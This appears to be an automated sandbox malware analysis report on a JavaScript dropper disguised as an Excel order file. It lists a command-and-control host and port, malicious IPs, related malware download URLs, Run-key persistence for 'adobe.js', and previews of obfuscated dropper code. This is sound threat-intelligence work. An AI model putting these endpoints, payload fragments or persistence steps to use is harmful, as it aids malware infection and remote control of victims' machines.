http://www.quovadis.bm	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-readyo	wscript.exe, 00000005.00000002.2974480890.00000296C1FEA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readyStat	wscript.exe, 00000005.00000002.2974155390.00000296C1E3C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.com:7045/is-readym	wscript.exe, 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://chongmei33.publicvm.co	wscript.exe, 0000000E.00000002.2975469847.000001F2AEBC0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://chongmei33.publicvm.com:7045/is-readyows	wscript.exe, 0000000E.00000003.2387552603.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE925000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://crl.chambersign.org/chambersroot.crl	javaw.exe, 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.220.6	unknown	United States	36352	AS-COLOCROSSINGUS	true
46.246.82.66	chongmei33.publicvm.com	Sweden	42708	PORTLANEwwwportlanecomSE	true
199.232.192.209	dualstack.sonatype.map.fastly.net	United States	54113	FASTLYUS	false
140.82.121.3	github.com	United States	36459	GITHUBUS	false
140.82.121.4	unknown	United States	36459	GITHUBUS	false
199.232.196.209	unknown	United States	54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576426
Start date and time:	2024-12-17 03:51:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ORDER-24171200967.XLS..js
Detection:	MAL
Classification:	mal100.troj.expl.evad.winJS@19/10@16/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 70% Number of executed functions: 16 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target javaw.exe, PID 7540 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run adobe wscript.exe //B "C:\Users\user\AppData\Roaming\adobe.js"
02:52:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run adobe wscript.exe //B "C:\Users\user\AppData\Roaming\adobe.js"
02:52:21	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
192.3.220.6	ORDER-6070Y689_0PF57682456_DECVC789378909740.js	Get hash	malicious	WSHRat, Snake Keylogger	Browse	192.3.220.6/web/w88.js
	Bukti-Transfer.vbe	Get hash	malicious	Snake Keylogger	Browse	192.3.220.6/web/indo.js
	ORDER-24110394.PDF.js	Get hash	malicious	Unknown	Browse	192.3.220.6/web/vp.vbs
199.232.192.209	PO24002292.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse
	Il nostro ordine 16018692 del 27.11.2024.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse
	Quotation.js	Get hash	malicious	STRRAT	Browse
	Quotation.js	Get hash	malicious	STRRAT	Browse
	RFQ AE 3003910999.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse
	Bestellung EB0072813.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse
	kIMPADTn5g.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse
	YPcqnc0z06.js	Get hash	malicious	STRRAT	Browse
	Proof of payment.js	Get hash	malicious	STRRAT	Browse
140.82.121.3	Winscreen.exe	Get hash	malicious	Xmrig	Browse	github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/shell.exe
	stubInf.exe	Get hash	malicious	Xmrig	Browse	github.com/darkZeusWeb/loadersoft/raw/refs/heads/main/Winscreen.exe
	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chongmei33.publicvm.com	ORDER-6070Y689_0PF57682456_DECVC789378909740.js	Get hash	malicious	WSHRat, Snake Keylogger	Browse	27.125.245.60
	D24112509FA.js	Get hash	malicious	WSHRat, AsyncRAT, PureLog Stealer	Browse	46.246.80.66
	PRODUCT_INQUIRY.js	Get hash	malicious	WSHRat	Browse	46.246.6.68
	wps.vbs	Get hash	malicious	WSHRat	Browse	46.246.4.66
	ORDER-249034489.XLS.js	Get hash	malicious	WSHRat	Browse	27.125.242.209
	MACHINE_SPECIFICATION.js	Get hash	malicious	WSHRat	Browse	46.246.84.83
	PURCHASE_ORDER.js	Get hash	malicious	AsyncRAT	Browse	46.246.4.67
	Ref_87021929821US20240709031221656.js	Get hash	malicious	Nanocore	Browse	46.246.14.67
	PO-24701248890.js	Get hash	malicious	WSHRat	Browse	188.126.90.8
	ORDER-62489044TBC.vbs	Get hash	malicious	WSHRat	Browse	188.126.90.18
dualstack.sonatype.map.fastly.net	PO24002292.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	Il nostro ordine 16018692 del 27.11.2024.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	Quotation.js	Get hash	malicious	STRRAT	Browse	199.232.192.209
	Quotation.js	Get hash	malicious	STRRAT	Browse	199.232.192.209
	RFQ AE 3003910999.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	Bestellung EB0072813.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	kIMPADTn5g.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	199.232.196.209
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	199.232.192.209
	LYDI9MoZyu.js	Get hash	malicious	STRRAT	Browse	199.232.196.209
github.com	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	140.82.113.4
	uZgbejeJkT.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	ni2OwV1y9u.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	20.233.83.145
	c56uoWlDXp.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	zpbiw0htk6.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133
	in.exe	Get hash	malicious	Babadeda, HTMLPhisher	Browse	20.233.83.145
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	20.233.83.145
	PixelFlasher.exe	Get hash	malicious	Unknown	Browse	20.233.83.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PORTLANEwwwportlanecomSE	https://e.gsclinks.net/go/texastribuneorgevents.buzz/7xkxr9yg/dXJsPWh0dHBzJTNBJTJGJTJGdGV4YXN0cmlidW5lb3JnZXZlbnRzLmJ1enolMkYlM0Z0dWV0c3ZibiZsYWJlbD1FWFBMT1JFK09CSkVDVFM=	Get hash	malicious	HTMLPhisher	Browse	45.11.182.163
	rebirth.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	192.121.251.184
	hax.mpsl.elf	Get hash	malicious	Mirai	Browse	195.190.241.186
	17338478743bbe929069f09b2fd43b475a3f9c5d7b9e72f9a2a5695318d73f4c494b80d40d501.dat-decoded.exe	Get hash	malicious	SugarDump, XWorm	Browse	46.246.86.11
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	46.246.86.11
	main_spc.elf	Get hash	malicious	Mirai	Browse	192.36.198.93
	17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exe	Get hash	malicious	Remcos	Browse	46.246.82.15
	teste.arm5.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	46.21.103.248
	xd.x86.elf	Get hash	malicious	Mirai	Browse	5.254.217.55
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	195.190.223.149
AS-COLOCROSSINGUS	newthingswithgreatupdateiongivenbestthingswithme.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	107.173.4.16
	crreatedbestthingswithgreatattitudeneedforthat.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	107.173.4.16
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	192.3.179.166
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	192.3.179.166
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12
	Sample_Order_000000991.xls	Get hash	malicious	Unknown	Browse	192.3.179.166
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	192.3.179.166
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12
	Sample_Order_000000991.xls	Get hash	malicious	Unknown	Browse	192.3.179.166
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.123.12
FASTLYUS	https://ivsmn.kidsavancados.com/	Get hash	malicious	Unknown	Browse	151.101.131.6
	https://uvcr.ovactanag.ru/jQXv/	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://dot.itsecuritymessages.com/45sf4657dvz4hn/afc6c7/00179cbf-581d-4c00-98d3-bf1104b204ad	Get hash	malicious	Unknown	Browse	151.101.2.109
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2FN4SKHyAe889o909j2BgEQTYHmZASxysFG5X1abiH-2Bc9UXRQ1Ein-2BS-2BlY0g6W3s6a-2Bg8fspAfccvSCNZ8UZez1w-3D-3DUR2i_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTU66UCHiyx70Gk8JDD2YjXZuzQvmiRgDA-2FXjbWgjk3i1v2Ulq6y1yKgmK1yrN5XfmHVDLnIEf-2BjigPUThjsOSZZpY0Q2K61IDWrFAR0MbUNzwiY-2FVg-2BeuZ5GmE7khj3oFCj0ivt137LdIBat61ZEFDp	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://afg.acemlnb.com/lt.php?x=3TZy~GE3UnGZEpJA-w9HgOSc2K2ji_L0wu1gjqXGIXSh587-zEy.zuJr1Y2iitE~judAXHPHJeTMHaWtOdxFVOFx23MoiND	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://nq.trikeunpured.com/iSH5pdvbnvr/kmgeL	Get hash	malicious	Unknown	Browse	151.101.129.74
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse	151.101.120.157
	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Remit_Advice_SMKT_84655.htm	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	185.199.108.133
GITHUBUS	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	140.82.113.4
	https://github.com/Matty77o/malware-samples-m-h/blob/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	140.82.113.22
	PO24002292.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	140.82.121.4
	CORREIO BCV.zip.html	Get hash	malicious	Unknown	Browse	140.82.112.22
	https://github.com/karakun/OpenWebStart/releases/download/v1.10.1/OpenWebStart_windows-x64_1_10_1.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	kIMPADTn5g.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	140.82.121.4
	https://github.com/Ultimaker/Cura/releases/download/5.9.0/UltiMaker-Cura-5.9.0-win64-X64.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	https://github.com/bambulab/BambuStudio/releases/download/v01.10.01.50/Bambu_Studio_win_public-v01.10.01.50-20241115162711.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	140.82.121.4
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	140.82.121.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
026e5ca865ce1f09da3a81d8a4e3effb	PO24002292.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	Il nostro ordine 16018692 del 27.11.2024.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	Quotation.js	Get hash	malicious	STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	Quotation.js	Get hash	malicious	STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	RFQ AE 3003910999.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	Bestellung EB0072813.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	kIMPADTn5g.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	SWIFT-MT103-17112024.js	Get hash	malicious	STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209
	LYDI9MoZyu.js	Get hash	malicious	STRRAT	Browse	199.232.192.209 140.82.121.3 140.82.121.4 199.232.196.209

Process:	C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.935546689086913
Encrypted:	false
SSDEEP:	3:oFj4I5vpm4USSWmfov:oJ5bAAv
MD5:	7A526468269816C41D9F6B7F874B758C
SHA1:	C51E823DEB62A85177DEE1039BB305E1B3761A58
SHA-256:	12FB596C7067685690AEF1CE66455FF081628D3E5E4E8EAE82738CE700BB08E7
SHA-512:	53D3F0AA8B96AA9B78937F829D438C2AE0E189CF12D37595F7F47E47808F070E0F208F8E16307D836BD400FF1F93502FAE8EB10006BA3481876EA20EFC1E8DE9
Malicious:	false
Preview:	C:\Program Files (x86)\Java\jre-1.8..1734403922147..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ours[1].js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (64429), with CRLF line terminators
Category:	dropped
Size (bytes):	979344
Entropy (8bit):	5.5831588339454825
Encrypted:	false
SSDEEP:	24576:Aw78+fZPXZLIJwpBsH/QsWg+MJKfA9fxc3ozHoTKs8IaVSIw3xlFPRIw3XtVvHRE:Aw78+fZPXZLIJwpBsH/QsWg+MJKfA9fR
MD5:	A3509DFA4195829DD6CA7022F6F6E729
SHA1:	0953470F0AE7E2853B7BA085B48F38F3C9052024
SHA-256:	A69C37A37C7E4ACEBBC4BC9ED276C2C433171AC47DC68D941D687975E2761759
SHA-512:	E8503BB69A1B523A15C399480C68BC8D4FEF0D5ACBB99CBEA7A3A86CD44368D1BC602E5C2BD8285170FD0EE4B3BC7C1F0066CFA1518EB53EFD3DEE31A1BEB127
Malicious:	true
Preview:	pEFAtiamlMHELBqbCSdHpNZODHXojwykwlwSKDWqFCNKX = "" ;..//frxmKlCpNXHZFYRzwnCnzPrpzQUfxUUxaTmTFjfTzYwzFiAvnzhbwXcPzInuRXrsCKzllytMIjnbTrjRQZryntADrXTxwlBbhDwvjOJpFVTNjAwIYWdsgsFJJvuOevQWhMuPvnhCPCtSZnTraLZaHJvoxmmnUvKKFxgXFgMkobcdznkVcCoTWpOXQFSIBuhUriNbHvltyolggRpJBQKRGrnPiIHAODjttImQaIOhRuUhEiryQIHlkQNAvxtzokfuFsmYfZjsCdzMWGLARIkFwyJdvlVcPPtgOZcLvTSqZOjGQAeomthfAayGiJctE..var GdmkSywdzExptgiPCMuHgpWhNfobWdmqZlTlwWyCiLnokpGtQrfximYQGFWmJUHVSHQHMxSfOrZUCixXZuLexpHmNCeqALtNERVcZzhTYziqMEOYIyNOJcYdzduKScfDyMPkMUyaNrFxGRaJoGiCxeDctscvEWAwUfrAodMnznBRWaXiDlVMudFUInqUsDVqrJdaZZUKuu..//CJdlFTVtsTBoCrZXrBnrvwSKaNxwJdQKSzawqWiXyyKCpDHmBBiTXCzGrTLrWZkOCqVCQdgUSPtwlPUXGKuHvxnQAUEXLqBZOvzzhEVXUNAHIDUbyolLecTFDFBwZIJcOThqQVpBpXnhwfHxAdZXFpvmbtwcCZyMEYtpVdLdyjWGpmJXxEwwjmWZXvOWZNyQYbdXmSbWRwYVToxpkYfydCcRCTRaPoDllFiNIllfcZenNBFjxYlAhAnWyLVSABGcsnjNGjhynzVDYoEAOicrCCDlSMPwQSfaTBvaRrcOrnNiekxJHUDSZPZp..var jyvuUkiUUujWtejWFOzPpVGiOFpvONBEbFqSwitHEtNjAbQdkgMLPKAOrMgPumFHtfvnnRaWUsKvHXinpMLhAqoRFbbjCeMSn

C:\Users\user\AppData\Local\Temp\BDl.jar

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	271654
Entropy (8bit):	7.510839340689651
Encrypted:	false
SSDEEP:	6144:PgSTAyKp4RvTvE7kJxpYqJn81lAUCQC2y5dgty:49cvTwqCqJn8gZTIy
MD5:	100BBED27B8141AB3A41C35B110844B3
SHA1:	94FF90D69A7E4B07B6EBB9FF96BA5913376C4876
SHA-256:	05F0093F5B7FF5497C2A4C9BC86ABFD001A450AA55D16B66A2707DFCAC704886
SHA-512:	A3977F2DF0EEAEF7E9CC6314D82EDD2DBE2BA9D1A9D42FE824E3B4D3A267BF4A987652A83125C6EA26332CC2B42AA058D712D74BD84D603B0B74136D020A822A
Malicious:	true
Preview:	PK........6..Y................carLambo/71.class/.VIp.U..zz.I....A.6Qa20...e.`..``.@..."t&m...N..ED.].q/...%.$.X..U^...U.^......H..s......./..~w...O.D.3V.......=2Xn6..B...'..].n..<.....j-U.......b..j=.[(...`..A.+.....Py......f...hh...}......={.{z...?.?P....C@TVT-......B.....rm.]...m..].RR..,.4.g.K...;=L.fZ...@....%+...5MI.)Ka..0tUI.:.R..k.4..L^..&[.j6.R.."@.7..Xx7.l.s..7....t.1.-..6e%...Q<..$<.%...V.j.$,..&.6.$4........'..VN..IU.......G7W..E'...vwu.....H.....'.T./Y.....r.\|.q36K`m.~.M..Z..<..f.JX.....~.z[+....i...M.J...vP....1...l.g..q....y.b....l..N..+...&:..LP#.xe_(`q....E7.....' >...V.@.}QT.d...b....m.pe.)y..yg.+.K..G1..):.a.(.;.p....L.r..t.EpD...9Q).Ng..Y)...q...A#`I.D>..CsZ..&.g$."..>..%s.v.\.>.:..`F.1.g..%...K....QBV.-.M.Mon.i.jiC.L..ZU6.!.C...P..5.......h..\|.3}9e..!..?/..(k.bX2.uKcN.....g....i.tE.H5Rr.=.i./....y...SwA@U.`......U.X.M.L...]t...n..=.....t\0..+n.;.......oEq.;..S,.wX..l..e.9..g.bRV.3..g..>.Xa[&S....W(9...A..e>.......G..`

C:\Users\user\AppData\Local\Temp\ELMAMV.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (64429), with CRLF line terminators
Category:	dropped
Size (bytes):	979344
Entropy (8bit):	5.5831588339454825
Encrypted:	false
SSDEEP:	24576:Aw78+fZPXZLIJwpBsH/QsWg+MJKfA9fxc3ozHoTKs8IaVSIw3xlFPRIw3XtVvHRE:Aw78+fZPXZLIJwpBsH/QsWg+MJKfA9fR
MD5:	A3509DFA4195829DD6CA7022F6F6E729
SHA1:	0953470F0AE7E2853B7BA085B48F38F3C9052024
SHA-256:	A69C37A37C7E4ACEBBC4BC9ED276C2C433171AC47DC68D941D687975E2761759
SHA-512:	E8503BB69A1B523A15C399480C68BC8D4FEF0D5ACBB99CBEA7A3A86CD44368D1BC602E5C2BD8285170FD0EE4B3BC7C1F0066CFA1518EB53EFD3DEE31A1BEB127
Malicious:	true
Preview:	pEFAtiamlMHELBqbCSdHpNZODHXojwykwlwSKDWqFCNKX = "" ;..//frxmKlCpNXHZFYRzwnCnzPrpzQUfxUUxaTmTFjfTzYwzFiAvnzhbwXcPzInuRXrsCKzllytMIjnbTrjRQZryntADrXTxwlBbhDwvjOJpFVTNjAwIYWdsgsFJJvuOevQWhMuPvnhCPCtSZnTraLZaHJvoxmmnUvKKFxgXFgMkobcdznkVcCoTWpOXQFSIBuhUriNbHvltyolggRpJBQKRGrnPiIHAODjttImQaIOhRuUhEiryQIHlkQNAvxtzokfuFsmYfZjsCdzMWGLARIkFwyJdvlVcPPtgOZcLvTSqZOjGQAeomthfAayGiJctE..var GdmkSywdzExptgiPCMuHgpWhNfobWdmqZlTlwWyCiLnokpGtQrfximYQGFWmJUHVSHQHMxSfOrZUCixXZuLexpHmNCeqALtNERVcZzhTYziqMEOYIyNOJcYdzduKScfDyMPkMUyaNrFxGRaJoGiCxeDctscvEWAwUfrAodMnznBRWaXiDlVMudFUInqUsDVqrJdaZZUKuu..//CJdlFTVtsTBoCrZXrBnrvwSKaNxwJdQKSzawqWiXyyKCpDHmBBiTXCzGrTLrWZkOCqVCQdgUSPtwlPUXGKuHvxnQAUEXLqBZOvzzhEVXUNAHIDUbyolLecTFDFBwZIJcOThqQVpBpXnhwfHxAdZXFpvmbtwcCZyMEYtpVdLdyjWGpmJXxEwwjmWZXvOWZNyQYbdXmSbWRwYVToxpkYfydCcRCTRaPoDllFiNIllfcZenNBFjxYlAhAnWyLVSABGcsnjNGjhynzVDYoEAOicrCCDlSMPwQSfaTBvaRrcOrnNiekxJHUDSZPZp..var jyvuUkiUUujWtejWFOzPpVGiOFpvONBEbFqSwitHEtNjAbQdkgMLPKAOrMgPumFHtfvnnRaWUsKvHXinpMLhAqoRFbbjCeMSn

C:\Users\user\AppData\Local\Temp\adobe.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65517), with CRLF line terminators
Category:	dropped
Size (bytes):	313163
Entropy (8bit):	3.467104984505556
Encrypted:	false
SSDEEP:	1536:mzfAZzBCfw20zvFqgFQZSEEH3+D2RsCWYiVJASEJpUxETsYDRKsBvpOCpmFYwtYO:6
MD5:	9AFD9ECE1BD1D495D993DF48FE93A8DD
SHA1:	22CB23FD8EE7AE5C1C0CA606881594F90F09230A
SHA-256:	1FDB1C5AD65E00E4520DF60B9C3B880059ED77FCBF41787C6DD6A9ABC0180A5C
SHA-512:	1D28B54294C4995983699A6EDEEB471FF6B3FDD025A360EE0B76435B6CE2843C1A7CAD3D0B2D8E6B421AF7A8C5C220E23CA2798BC4560713319153B24B2E2F75
Malicious:	true
Preview:	var G0j=180545366..var DWVIDB = String.fromCharCode(180545413-G0j,180545413-G0j,180545426-G0j,180545457-G0j,180545398-G0j,180545480-G0j,180545467-G0j,180545465-G0j,180545477-G0j,180545466-G0j,180545467-G0j,180545480-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545473-G0j,180545477-G0j,180545469-G0j,180545476-G0j,180545471-G0j,180545482-G0j,180545477-G0j,180545398-G0j,180545406-G0j,180545465-G0j,180545407-G0j,180545398-G0j,180545481-G0j,180545473-G0j,180545487-G0j,180545478-G0j,180545467-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545474-G0j,180545471-G0j,180545484-G0j,180545467-G0j,180545424-G0j,180545483-G0j,180545476-G0j,180545473-G0j,180545476-G0j,180545477-G0j,180545485-G0j,180545476-G0j,180545412-G0j,180545481-G0j,180545463-G0j,180545474-G0j,180545467-G0j,180545481-G0j,180545420-G0j,180545418-G0j,180545398-G0j,180545459-G0j,180545428-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545413-G0j,180545413-G0j,180545427-G0j,180545411-G0j,180545427-G0j,180545411-

C:\Users\user\AppData\Local\Temp\hsperfdata_user\7540

Download File

Process:	C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2827209638007813
Encrypted:	false
SSDEEP:	96:6RArO4l8GXL9B5sYdGYdMwF+UhSk0STLHG1bowmi:6Ryl8GXL9B5sU9+fk/XHGdF
MD5:	74ACB871344DAF1BDE628CA8A66A6E01
SHA1:	5A1DDAE1D92D3BDC41504F648A3E99B305EA3F9A
SHA-256:	DA01C22EFBCFB7EAAFE1DA469D47967F5C8E0EC2A92AF45C1A4A4EFB19024068
SHA-512:	6B8A84C85394E78BB05789C5F134E5C93F77F205D382A9F7FD381D7F304A29E49CACEB4DFF278B7CF9D2741BCC78D02B1978751AF202846135DC9132D59F7680
Malicious:	false
Preview:	.........8......?.E..... .......8...........J...0...sun.rt._sync_Inflations.....N.......8...........J...0...sun.rt._sync_Deflations.....L.......@...........J...8...sun.rt._sync_ContendedLockAttempts..........8...........J...0...sun.rt._sync_FutileWakeups..........0...........J...(...sun.rt._sync_Parks..........@...........J...8...sun.rt._sync_EmptyNotifications.............8...........J...0...sun.rt._sync_Notifications..n.......8...........J...0...sun.rt._sync_SlowEnter..............8...........J...0...sun.rt._sync_SlowExit...............8...........J...0...sun.rt._sync_SlowNotify.............8...........J...0...sun.rt._sync_SlowNotifyAll..........8...........J...0...sun.rt._sync_FailedSpins............@...........J...8...sun.rt._sync_SuccessfulSpins................8...........J...0...sun.rt._sync_PrivateA...............8...........J...0...sun.rt._sync_PrivateB...............@...........J...8...sun.rt._sync_MonInCirculation...............8...........J...0...sun.rt._sync_MonScavenged...

C:\Users\user\AppData\Local\Temp\word.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65195), with CRLF line terminators
Category:	dropped
Size (bytes):	385667
